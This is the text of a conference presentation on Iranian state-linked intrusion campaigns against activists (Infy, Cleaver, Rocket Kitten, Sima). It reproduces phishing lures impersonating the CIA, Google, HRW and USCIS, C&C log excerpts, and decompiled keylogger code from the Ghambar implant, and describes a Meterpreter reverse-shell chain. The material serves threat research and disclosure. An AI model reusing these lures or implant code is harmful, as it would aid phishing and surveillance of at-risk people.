



Who we are

- Nex
 - Technologist at Amnesty International.
 - Senior Research Fellow at CitizenLab.
 - Creator of Cuckoo Sandbox, Viper, Malwr.com ...

• Cda


- Networked systems researcher, based in Washington, D.C.
- Collaborates with civil society on Internet measurement and policy issues (e.g. Wassenaar), academic institutions, and others.
- History on Iran human rights and foreign policy.







The Green Movement and the Soft War













http://www.rahesabz.net/ TRANTAN CYBER ARMY THIS SITE HAS BEEN HACKED BY IRANIAN CYBER ARMY « به احترام رفراندومی که در 22 بهمن برگزار شد ومردمی که رای دادند و به احترام ملتی بزرگ و وطنی به نام ایران » « بیشتر از این مهره بازی افرادی که خود در آمریکا در امن و امان به سر میبرند و از شما به عنوان مهره استفاده میکنند نباشید »





Shedding Light on the Targeting of Activists and At-Risk Communities









Mission


Collect Samples and Incidents from Targets of Iran-based Intrusion Campaigns for Accountability and Community Education.



Intrusions and Elections







nblackhat usa 2016





nblackhat usa 2016





Phishing and Malware, the New Normal



Mandatory Grugq Quote





Real APT: we need to read their emails and steal their spreadsheets.

Fantasy APT: we need to hack their baseband... because reasons!





----- Forwarded message ------

From: CIA Secure Program! < security@cia.gov >

Date: 17 November 2013 07:52

Subject: Hi dear, Iranian people can contact us with secure CIA Program.

To: aminsabeti@gmail.com


CIA Chat is a program for you to report threats in a secure manner to the US Central Intelligence Agency.

The most important threats we're looking for, are those related to national security and any type of information which can lead us to terrorist groups.

Your patriotic acts would be rewarded too. We pay money as reward to those who share useful information with us.

Although those of you seeking to work with the leading intelligence agency in the world, this program is a way for anonymous and secure connection to us.

CIA_Chat.exe
244K View Download





Campaigns, Tools and Actors

Cross section of the Ecosystem



Infy





----- Forwarded message ------

From: baran omid

baran omid baramomid@gmail.com>

Date: 14 May 2013 09:11 Subject: ۹۲ خرداد

To: baramomid@gmid.com

entekhabat.rarBlocked file

----- Forwarded message ------


From: kaveh tahmasbi < kaveh.tahmasbi@gmail.com >

Date: 2016-04-20 12:45 GMT+02:00

فوری/ تصاویر امید کوکبی بعد از سرطان در زندان :Subject

To:

با درود تصاویر منتشر نشده از امید کوکبی بعد از سرطان جهت انتنشار گسترده در رسانه ها



Custom Animation X₃ Remove ■ Add Effect ▼ **Modify: Activate Contents** Start: With Previous Property: Speed: Object 10 🖏 Object 10 Object 8 ♠ Re-Order بعدي Slide Show **✓** AutoPreview

مورد انرژي هسته اي خوش آمديد. . که البق نظر شها رفتار آند.



FORUM THREAD QUESTION: UNSOLVED

My sites, False positive



aj58

Posted: 25 Jul 2

Hello I made Contact with but after many days

my reauest was.....
your product detect
your latest updated
also there is not an
please remove my
thanks

-----My sites

my reauest was.....

your product detect two of my site as malware.

your latest updated trial version does not detect any file in my sites as malware. also there is not any binary, program, apk or any dangerous file in my sites. please remove my sites from your black list as soon as possible

-----My sites

thanks

http://updateserver1.com

http://bestupdateserver.com/

http://updateserver1.com

http://bestupdateserver.com/



DGA \o/

- They implemented a bizarre DGA algorithm
- It would use rotating pools of 30 domains.
- The DGA domains are contacted even if primary C&C is up.
- Only one registered before, all the others available.
- Started sinkholing from December 2015.



Professional Sinkhole Camouflage



217. 182. 185. 2.18

213. 95.8 2.18

150.7 150.7

36.98.

62.88.

46.224

36.83.

78.22.

94.237

103.255

85.95

5.201. 185.95

36.98 35.15 38.17 92.15

77.2 88.1 78.1 106. 59.1 86.9 194. 30.2

151.2

195.6 103.2

106.5

2.147 57.88 209.1

213.1 79.12 2.145 79.12 184.1 129.7 182. 5.22 185. 213 2.3 5.7


[25/Jan/2016:06:42:53 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A12%3A51& [25/Jan/2016:06:45:13 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2016%3A45%3A12 [25/Jan/2016:06:59:38 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2014%3A59%3A36& [25/Jan/2016:07:20:57 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A51%3A6&cn [25/Jan/2016:07:25:24 - 0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A22%3A426 [25/Jan/2016:07:25:48 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A55%3A49&cn [25/Jan/2016:07:25:59 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A56%3A8&cn [25/Jan/2016:07:27:15 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A55%3A49&c [25/Jan/2016:07:27:27 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A55%3A498 [25/Jan/2016:07:34:49 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2016%3A34%3A48& 25/Jan/2016:07:57:44 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2013%3A57%3A44&c 25/Jan/2016:08:00:34 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2016%3A30%3A32&c 25/Jan/2016:08:04:29 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A4%3A25&cn 25/Jan/2016:08:18:44 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2014%3A18%3A46&cn - [25/Jan/2016:08:32:29 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2014%3A32%3A2 25/Jan/2016:08:46:05 -0500] "GET /themes/?tt=25%2F1%2F2016%20%205%3A46%3A9&cn= [25/Jan/2016:08:50:15 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A20%3A168 [25/Jan/2016:08:52:58 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A22%3A54&ci [25/Jan/2016:08:55:32 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A25%3A33&c [25/Jan/2016:09:03:13 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2018%3A3%3A12&cn [25/Jan/2016:09:08:52 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A38%3A37&cn= [25/Jan/2016:09:21:26 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A21%3A30& [25/Jan/2016:09:28:15 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A28%3A14% - - [25/Jan/2016:09:28:16 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A58%3A15 [25/Jan/2016:09:32:32 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A32%3A41&cr [25/Jan/2016:09:56:56 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2015%3A56%3A46& [25/Jan/2016:09:57:39 -0500] "GET /themes/?tt=25%2F1%2F2016%20%206%3A57%3A15&cn: [25/Jan/2016:10:01:22 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2020%3A31%3A28&cr [25/Jan/2016:10:17:42 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2010%3A17%3A41&cr [25/Jan/2016:10:42:43 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2019%3A42%3A17&cn= - - [25/Jan/2016:10:46:41 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2016%3A46%3A42% [25/Jan/2016:11:11:29 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A12%3A44&c - [25/Jan/2016:11:14:22 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A44%3A29&c - - [25/Jan/2016:11:27:10 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2019%3A57%3A12 [25/Jan/2016:11:33:48 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2017%3A34%3A24&cn [25/Jan/2016:11:36:23 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A6%3A22&c [25/Jan/2016:12:01:49 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2022%3A31%3A57&c [25/Jan/2016:12:10:57 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2020%3A40%3A54&c [25/Jan/2016:12:17:16 -0500] "GET /themes/?tt=25%2F1%2F2016%20%209%3A17%3A16&cn [25/Jan/2016:12:19:52 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2011%3A20%3A24 [25/Jan/2016:12:28:26 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2018%3A28%3A25 [25/Jan/2016:12:31:03 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A1%3A0&cn= [25/Jan/2016:12:35:59 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A5%3A27&cn= [25/Jan/2016:12:44:39 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A14%3A36&c [25/Jan/2016:12:45:26 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2012%3A45%3A34& [25/Jan/2016:12:47:36 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2011%3A48%3A12&cn - [25/Jan/2016:12:55:13 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2022%3A55%3A11& [25/Jan/2016:13:09:18 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A39%3A44&cn= [25/Jan/2016:13:09:48 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A9%3A37&cn [25/Jan/2016:13:23:26 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2013%3A23%3A25&d)---[25/Jan/2016:13:35:23 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2021%3A32%3A42 [25/Jan/2016:13:38:18 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2018%3A38%3A21&cn=U [25/Jan/2016:13:40:59 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2022%3A10%3A57&cn= [25/Jan/2016:13:46:15 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2022%3A16%3A13&c [25/Jan/2016:13:57:23 -0500] "GET /themes/?tt=25%2F1%2F2016%20%2022%3A27%3A17&c

ver=00026&lfolder=f1&machineguid=bda9072 DPC&ver=00028&lfolder=f1&machinequid=184 &ver=00028&lfolder=fl&machineguid=4ee0f0 er=00029&lfolder=fl&machineguid=064d2ea9% 25&ver=00026&lfolder=fl&machinequid=a027eaa =00028&lfolder=f1&machineguid=a6aec4ae%2D1c9 ver=00029&lfolder=f1&machineguid=064d2ea9%2D4 r=00028&lfolder=fl&machineguid=a6aec4ae%2Dlc9 er=00028&lfolder=f1&machinequid=a6aec4ae%2Dlc9 r=00026&lfolder=f1&machineguid=c4ba2975%2De1e2% C245CE9&ver=00029&lfolder=f1&machineguid=e19e5dk er=00028&lfolder=f1&machineguid=10029a62%2D8506 =00028&lfolder=f1&machineguid=83479a23%2D6f55%2D4 &ver=00028&lfolder=fl&machineguid=2f8b7615%2Da044 NB%2D11&ver=00029&lfolder=f1&machineguid=f3ef46cc ver=00026&lfolder=fl&machineguid=f5b6f9fd%2Dce16% P2D3OB663&ver=00028&lfolder=f1&machineguid=881ddd DPC&ver=00026&lfolder=f1&machineguid=bbe5ee05%2D 2D30B663&ver=00028&lfolder=f1&machineguid=881ddd =00026&lfolder=f1&machineguid=c4ba2975%2De1e2%2[r=00029&lfolder=f1&machineguid=60556f95%2D2b47 PC&ver=00027&lfolder=f1&machineguid=b361c6f8%2 P&ver=00027&lfolder=f1&machineguid=d091731b%20 2DPC&ver=00029&lfolder=f1&machineguid=6c08ba0 PC&ver=00028&lfolder=fl&machineguid=d7eeb3la% C&ver=00026&lfolder=fl&machineguid=48ea05ea%; 00027&lfolder=f1&machinequid=19bdbf4b%2D4bec 46FFF7F&ver=00028&lfolder=f1&machineguid=fak &ver=00029&lfolder=fl&machineguid=df0d6be2% &ver=00028&lfolder=fl&machineguid=6bala147% %2D11&ver=00029&lfolder=f1&machineguid=f3et =00029&lfolder=f1&machineguid=8c403d04%2D4 46FFF7F&ver=00028&lfolder=f1&machineguid=f DC3AC4FB3&ver=00029&lfolder=f1&machineguid &ver=00026&lfolder=f1&machineguid=8967a6c1 er=00028&lfolder=fl&machineguid=c4fl57d0%; 46FFF7F&ver=00028&lfolder=f1&machineguid= er=00029&lfolder=f1&machinequid=90422c329 ver=00028&lfolder=fl&machineguid=7ba6b6 3&ver=00029&lfolder=f1&machinequid=127 &ver=00027&lfolder=fl&machineguid=509a ver=00029&lfolder=f1&machinequid=a55080a 029&lfolder=f1&machineguid=39e5f60f%2D81 C&ver=00029&lfolder=fl&machineguid=a55080 OP&ver=00027&lfolder=f1&machineguid=2bf8: 1&ver=00028&lfolder=f1&machineguid=440c5e PC&ver=00028&lfolder=f1&machineguid=18492 29&lfolder=f1&machineguid=4a297df2%2Ddef4% ver=00028&lfolder=f1&machinequid=4ee0f054% &ver=00028&lfolder=f1&machineguid=6cf0d3b1 25&ver=00026&lfolder=f1&machinequid=a027ea =00028&lfolder=f1&machineguid=984132fb%2D6)28&lfolder=f1&machineguid=f668ec40%2D38fc%2 er=00029&lfolder=fl&machinequid=66255cf3%2D er=00029&lfolder=fl&machineguid=90422c32%2D






Infections per Country




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Infy Infections over Observed Period








Hello hello!


```
[26/Jan/2016:03:34:24 -0500] "GET /themes/?tt=18%2F1%2F2016%20%200%3A4%3A31&cn=FERDOWSI&ver=00029&lfolder=f3&machinegui
2.180
               [02/Feb/2016:11:03:36 -0500] "GET /themes/?tt=25%2F1%2F2016%20%207%3A33%3A41&cn=FERDOWSI&ver=00029&lfolder=f3&machineguid
31.14
                [02/Feb/2016:18:08:52 -0500] "GET /themes/?tt=3%2F2%2F2016%20%202%3A39%3A8&cn=DESKT0P%2DTFG03B1&ver=00030&lfolder=f3&mac
5.232
5.232.
                [03/Feb/2016:07:20:08 -0500] "GET /themes/?tt=3%2F2%2F2016%20%2015%3A50%3A23&cn=DESKTOP%2DTFG03B1&ver=00030&lfolder=f3&m
5.232.
                [03/Feb/2016:10:10:02 -0500] "GET /themes/?tt=3%2F2%2F2016%20%2018%3A40%3A19&cn=DESKT0P%2DTFG03B1&ver=00030&lfolder=f3&m
192.99
              - - [03/Feb/2016:10:26:18 -0500] "GET /themes/?tt=3%2F2%2F2016%20%2018%3A56%3A35&cn=DESKT0P%2DTFG03B1&ver=00030&lfolder=f3
192.99
                  [03/Feb/2016:10:56:03 -0500] "GET /themes/?tt=3%2F2%2F2016%20%2019%3A26%3A19&cn=DESKT0P%2DTFG03B1&ver=00030&lfolder=f3
192.99.
                  [04/Feb/2016:07:35:06 -0500] "GET /themes/?tt=4%2F2%2F2016%20%2016%3A5%3A25&cn=DESKT0P%2DTFG03B1&ver=00030&lfolder=f38
192.99
                  [04/Feb/2016:08:26:13 -0500] "GET /themes/?tt=4%2F2%2F2016%20%2016%3A56%3A32&cn=DESKTOP%2DTFG03B1&ver=00030&lfolder=f3
192.99
                  [04/Feb/2016:08:40:26 -0500] "GET /themes/?tt=4%2F2%2F2016%20%2017%3A10%3A45&cn=DESKT0P%2DTFG03B1&ver=00030&lfolder=f3
192.99
                  [04/Feb/2016:08:51:43 -0500] "GET /themes/?tt=4%2F2%2F2016%20%2017%3A22%3A2&cn=DESKT0P%2DTFG03B1&ver=00030&lfolder=f3&
5.232.
               [11/Feb/2016:01:17:10 -0500] "GET /themes/?tt=2%2F2%2F2016%20%2021%3A47%3A15&cn=FERDOWSI&ver=00029&lfolder=f3&machineguid
               - - [12/Feb/2016:01:38:32 -0500] "GET /themes/?tt=3%2F2%2F2016%20%2022%3A8%3A37&cn=FERDOWSI&ver=00029&lfolder=f3&machinegu
46.100
               [12/Feb/2016:07:29:06 -0500] "GET /themes/?tt=4%2F2%2F2016%20%203%3A59%3A11&cn=FERDOWSI&ver=00029&lfolder=f3&machineguid=6
2.180
               - [20/Feb/2016:10:43:59 -0500] "GET /themes/?tt=20%2F2%2F2016%20%2019%3A13%3A56&cn=WIN%2DSLRJHLCR4VK&ver=00030&lfolder=f3
5.232
               - [21/Feb/2016:09:36:45 -0500] "GET /themes/?tt=21%2F2%2F2016%20%2018%3A6%3A47&cn=DESKTOP%2DTFG03B1&ver=00030&lfolder=f38
5.232.
                   [01/May/2016:05:27:00 -0400] "GET /themes/?tt=1%2F5%2F2016%20%2013%3A57%3A21&cn=DESKTOP%2DTFG03B1&ver=00031&lfolder=f
217.172
217.172
                   [01/May/2016:04:47:50 -0400] "GET /themes/?tt=1%2F5%2F2016%20%2013%3A17%3A50&cn=USER1%2DDA087865E&ver=00031&lfolder=f
```


Hostname	Version	Seen	IP(s)	Location(s)
FERDOWSI	29	13/1/2016	2.180.157.xxx 31.14.152.xxx 5.232.90.xxx 46.100.135.xxx 2.180.92.xxx 5.222.214.xxx 2.182.52.xxx 2.180.143.xxx 65.49.68.xxx	Khorasan Razavi, Iran
DESKTOP-TFG03B1	30	2/2/2016	192.99.220.xxx 5.232.151.xxx 5.232.157.xxx	Khorasan Razavi, Iran
DESKTOP-TFG03B1	29	9/1/2016	2.180.96.xxx 5.232.135.xxx 5.232.140.xxx 5.232.136.xxx 5.232.143.xxx	Mashhad, Khorasan Razavi, Iran
WIN-A2HDDI940BE	29	12/1/2016	192.99.220.xxx	Canada (OVH)
WIN-SLRJHLCR4VK	30	20/2/2016	5.232.154.xxx	Khorasan Razavi, Iran
USER1-DA087865E	31	1/5/2016	217.172.105.xxx	Iran (Asiatech)
DESKTOP-TFG03B1	31	1/5/2016	217.172.105.xxx	Iran (Asiatech)

Update system

- When the malware checks in with the C&C, it retrieves instructions.
- If the C&C replies to the HTTP request with a 302 Redirect to a given URL pointing to an .exe, Infy will download and execute it.
- No verification or signing, and...
- The DGA domains are obviously able to distribute updates...










Infy: summing up

- Very active group, will probably resurface.
- Rudimentary development skills.
- Decent social engineering skills.
- Worst OPSEC ever?
- Very, very successful. Managed to compromise several hundreds of targets.



Cleaver (Ghambar)





```
private static void Main()
    try
        Utils.DbgPrint(".: In the name of God :.");
        string destinationPathOfExecution =
IoPathUtils.GetDestinationPathOfExecution();
        string text =
Path.Combine(destinationPathOfExecution,
Resources.APP EXE FILE NAME);
        if (!Directory.Exists(destinationPathOfExecution))
Directory.CreateDirectory(destinationPathOfExecution);
```



Features

- Self-destruct
- Shell
- Screenshot;
- Shutdown computer
- Reboot computer
- Logoff user
- Lock computer
- Set and copy clipboard
- Turn on and off display
- Enable/disable mouse and keyboard (not implemented)
- "Enable or disable desktop" (not implemented)
- Trigger BSOD (not implemented)



Some neat little things...


• The keylogger doesn't store anything on disk, unless the C&C is unreachable. Then removes the logs when submitted.

```
private static void KeylogBufferArrived(string buffer)
   if (!string.IsNullOrEmpty(buffer))
        try
            if (Utils.IsServerEndpointAvaliable())
                bool flag;
Program._communication.SendKeyLog(Program.ConfigInfo.TargetId, DateTime.Now,
true, buffer, out flag, out Program._tempSpecified);
            else
                string keyloggerStoragePath =
IoPathUtils.GetKeyloggerStoragePath();
                if (!Directory.Exists(keyloggerStoragePath))
                    Directory.CreateDirectory(keyloggerStoragePath);
                string path = Path.Combine(keyloggerStoragePath,
Path.GetRandomFileName());
                File.WriteAllText(path, buffer);
        catch (Exception ex)
            Utils.DbgPrint(string.Format("EX: {0} Method: {1}",
ex.Message, MethodBase.GetCurrentMethod().Name));
```



Some neat little things...

- The keylogger doesn't store anything on disk, unless the C&C is unreachable. Then removes the logs when submitted.
- Ghambar is entirely modular. It's able to download and execute new plugins.
- Uses a SOAP-based protocol for communicating to the C&C, very similar to Operation Cleaver's TinyZBot.
 - The samples we obtained appear to be under development. Ghambar might be the next generation implant from Cleaver?





Cleaver: summing up

- Active in comprosing legitimate hosts, doing watering hole attacks.
- Rudimentary programming skills, but improving.



Rocket Kitten



From: Mail-Secure-Team < team.mail.secure@gmail.com >

Date: Mon, Sep 22, 2014 at 1:27 PM

Subject: Important Alert: Confirm your Google Account



Hi,

Some suspicious activities have been reported on this Google Account (**********@gmail.com).

Your Account will be suspended in near future. To get back into your account click on the box below and confirm your account.

Confirm Your Account


Notice: If you do not confirm your account, you will not be able to access your Google Account anymore.

Sincerely,


The Google Accounts team

This email can't receive replies. For more information, visit the Google Accounts Help Center.

You received this mandatory email service announcement to update you about important changes to your Google product or account. © 2014 Google Inc., 1600 Amphitheater Parkway, Mountain View, CA 94043, USA



∩ black hat usa 2016





Then the attacker would...

- 1. Install a first stage .exe with persistence, that would launch a PowerShell command.
- 2. PowerShell commands would inject some code and execute it.
- 3. At the end of the chain, the code would download a Meterpreter DLL and launch it as a reverse shell.



Then the attacker would...

- 1. Install a first stage .exe with persistence, that would launch a PowerShell command.
- 2. PowerShell commands would inject some code and execute it.
- 3. At the end of the chain, the code would download a Meterpreter DLL and launch it as a reverse shell.
 - 1. Yes, they totally connected into our VM and when figured it wasn't legit, started frenetically deleting stuff and rebooting it.





```
{ phone_mander . yoyo / / AAAAA, use_na . 1300AAAA }, { phone_mander
("phone_number":"989125XXXXX, "user_id": "8925XXXXX"), {"phone_number":"989151XXXXX, "user_id": "1260XXXXX"}, {"phone_number":"989157XXXXX, "user_id": "1491XXXX
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```



WTF?

- Been burning Telegram API keys like there's no tomorrow.
- Fetching user IDs for Iranian phone numbers in mass.
 - More than between 15 and 20 million.
- Useful for reconstructing networks and perhaps deanonymizing users when someone's phone is confiscated?




Rocket: summing up

- Diverse activities.
- Interesting tricks, experienced attacker.
- Seem verse in using Metasploit. They've been observed before using Core Impact Pro.
- Very active, probably one of the most concerning groups.



Sima



- /download/

[To Parent Directory]

```
2/24/2016 3:37 AM
                          <dir>
 3/1/2016 3:47 AM
                          <dir>
2/24/2016 3:27 AM
                          <dir>
2/27/2016 3:33 AM
                          <dir>
2/24/2016 12:03 PM
                          <dir>
2/12/2016 11:06 AM
                            512 pwd.txt
 3/1/2016 2:12 AM
                         514048 updt1.exe
                         444416 updt2.exe
 3/1/2016 2:13 AM
                            253 web.config
1/30/2016 11:35 AM
2/29/2016 12:21 AM
                          <dir> windows
```

148.251

- /download/@

[To Parent Directory]

3/1/2016 3:44 AM 1020416 3/1/2016 3:36 AM 766976 doc 2/29/2016 10:01 PM 657920 Hk reports-iranrcs.doc

Ma. doc



Hello

I am Peter Bouckaert, Emergency director at Human Rights Watch, focusing on protecting the rights of civilians during armed conflict. Our group has huge field research & fact-finding missions to Iran, Lebanon, Kosovo, Chechnya, Afghanistan, Iraq, Israel and the Occupied Palestinian Territories, Macedonia, Indonesia, Uganda, and Sierra Leone, among others.

You can read my biography at below link:

https://www.hrw.org/about/people/peter-bouckaert

Please read our last research about "Iran Sending Thousands of Afghans to Fight in Syria" & contact me immediately.

You can read this article at below link:

https://www.hrw.org/news/2016/01/29/iran-sending-thousands-afghans-fight-syria

Peter Bouckaert



----- Forwarded message -----

From: U.S. Citizenship and Immigration Services <SCOPSSCATA@dhs.gov>

Date: Wed, Mar 9, 2016 at 12:06 PM Subject: Alert: Permanent Residence Card



You received this Email because you do not have a Permanent Residence, your Permanent Residence status needs to be adjusted or you need to renew/replace your Permanent Residence Card.

Starting March 9, 2016, customers must fill Form I-485 (can be found at the end of this email), in order to Register Permanent Residence or Adjust Status, and must fill Form I-90 (can be found at the end of this email) in order to Renew/Replace Permanent Residence Card and mail their Form I-485 or I-90 to USCIS local field/International offices. (Offices can be found here: https://www.uscis.gov/about-us/find-uscis-office)

USCIS will provide a 30 day grace period from March 9, 2016, for customers who file their Form I-485 or I-90 with one of the USCIS offices. All offices who receive Form I-485 and I-90 during this time will forward the forms to the Chicago Lockbox.

After April 9, 2016, local field/International offices will return all Form I-485 and I-90 they receive and advise customers to file at the Chicago Lockbox.


Download Form I-485, Application to Register Permanent Residence or Adjust Status: <a href="https://www.uscis.gov/sites/default/files/file

Download Form I-90, Application to Replace Permanent Resident Card: https://www.uscis.gov/sites/default/files/files/form/i-90.doc

Contact us: https://www.uscis.gov/about-us/contact-us

With Best Regards,

USCIS Service Center.



Tools & Techniques

- We've seen Sima using two different droppers
 - One worked terribly, had logic flaws, and had endless loops of flashing cmd.exe attempting to call *reg* command to gain persistence.
 - One much better designed, using task scheduler for persistence, and errors/dialogs suppression.
- Both would then instantiate a legitimate *RegAsm.exe*, do process hollowing, and inject it with *Luminosity Link* code.



Introducing LuminosityLink

Feature Packed and Incredibly Stable, Luminosity Brings new innovations to the table!





Surveillance

Luminosity allows you to control your clients via Remote Desktop, Remote Webcam, and a professional Client Manager.



File Manager & Searcher

View, download, and delete files on your clients computer. You may also search for specific files, and have them uploaded automatically.



RDP Manager

Login and control your systems on a new user session via Microsoft Remote Desktop Protocol (RDP)



Malware Remover

Remove Malicious Items on your clients computer. In addition, you may block specific processes, and stop the installation of specified software.



Reverse Proxy

Use your clients IP Address as a SOCKS 5
Proxy in any application. Very stable and fast!



Password Recovery

Recovers Lost Passwords from all Major Web Browsers, all Email Clients, FileZilla, and Windows Serial Key.



Sima: summing up

- Excellent recon skills
- Excellent social engineering skills
- Good organization
- Bad OPSEC
- Bad development skills
- Still, successful.



Coming to an end...

Conclusions

- Dearth of information of historical campaigns, but Iranians have been the subject of targeted intrusion by their government since at least early 2010.
- Intrusions and disruptions are conducted by disparate groups concurrent to each other with evolving strategies.
- Most observed incidents evince low to medium sophistication, primarily relying on social engineering.
- Same toolkits used against civil society as in espionage against foreign targets.
- Intrusions are common and normalized, but large surface area for surveillance due to low technical expertise.

Next steps

- Document the capabilities and campaigns associated with Iranian threat actors.
- Resurface evidence of previous campaigns prior to June 2013.
- Collect harm stories and case studies of intrusion attempts.
- Provide background narratives of actors and intrusions over time.
- Publish full research and datasets, including samples, hashes and IOCs.
- Coordinate further disclosure and remediation of campaigns.



Thank you!

Claudio Guarnieri (@botherder) & Collin Anderson (@cda)